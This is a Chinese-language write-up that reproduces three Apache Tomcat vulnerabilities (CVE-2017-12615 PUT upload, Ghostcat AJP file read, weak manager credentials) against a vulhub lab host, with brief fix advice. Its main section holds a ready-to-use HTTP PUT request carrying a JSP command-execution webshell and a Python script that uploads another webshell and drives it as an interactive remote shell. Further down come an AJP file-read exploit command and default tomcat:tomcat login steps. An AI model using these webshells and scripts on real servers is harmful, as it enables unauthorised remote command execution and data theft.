Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
一 漏洞描述
当存在漏洞的Tomcat启用了HTTP PUT请求方法, 攻击者可通过构造数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
参考链接:https://www.6b8.me/index.php?m=home&c=article&a=index&id=376
受影响版本
Tomcat版本:8.5.19
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
CVE-2017-12615# docker-compose up -d
目标 Ubuntu 192.168.1.242
三 漏洞复现
url发包,并访问http://192.168.1.242:8080/1.jsp?pwd=023&cmd=whoami
PUT /1.jsp/ HTTP/1.1
Host: 192.168.1.242:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=19734B3EBED72E19A1D99D5AB2CEAFE9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 660
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
Payload 传入了双变量木马,连接时可能与 Shell 管理器(们)合不来,不如写个脚本来伪造交互式 Shell。
# -*- coding:utf-8 -*-
import requests
import sys
if __name__ == "__main__":
my_url = "http://192.168.1.242:8080/she111.jsp"
put_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Content-Length": "374"
}
put_body = """
<%
if("she111".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
"""
r1 = requests.put(my_url+'/', headers=put_headers, data=put_body)
if r1.status_code in [201, 204]:
print('[+] Upload successfully')
else:
print('[-] Failed')
sys.exit(1)
while True:
command = input('> ')
if command == 'exit':
break
c_url = my_url + ("?pwd=she111&i={}".format(command))
r = requests.get(c_url, headers=put_headers)
print(r.text.replace('<pre>','').replace('</pre>','').replace(' ',''))
sys.exit(2)
四 修复建议
1.将readonly和VirtualDirContext值为Ture
2.升级tomcat为最新版本
五 参考链接
https://www.modb.pro/db/437671
Aapache Tomcat AJP 文件包含漏洞
一 漏洞描述
Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。
Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
参考链接:
- https://www.chaitin.cn/zh/ghostcat
- https://www.cnvd.org.cn/webinfo/show/5415
- https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
- https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
影响版本
Apache Tomcat = 6 7 <=
Apache Tomcat <7.0.100 8 <=
Apache Tomcat <8.5.51 9 <=
Apache Tomcat <9.0.31
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
CVE-2020-1938# docker-compose up -d
目标 Ubuntu 192.168.1.242
三 漏洞复现
exp:
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.242 -p 8009 -f /WEB-INF/web.xml
当存在上传功能时,上传图片马结合此漏洞,可以getshell。
四 修复建议
临时禁用AJP协议端口,在conf/server.xm l配置文件中注释掉
<Connector port=”8009″ protocol=”AJP/1.3″redirectPort=”8443″ />
五 参考链接
https://www.cnblogs.com/dyanbk/p/13334860.html
Tomcat7+ 弱口令 && 后台getshell漏洞
一 漏洞描述
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
- manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
- host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
在conf/tomcat-users.xml
文件中配置用户的权限:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
可见,用户tomcat拥有上述所有权限,密码是tomcat
。
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
Tomcat版本:8.0
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
CVE-2020-1938# docker-compose up -d
目标 Ubuntu 192.168.1.242
三 漏洞复现
访问http://192.168.1.242:8080/manager/html使用tomcat:tomcat登录
四 修复建议
更改复杂密码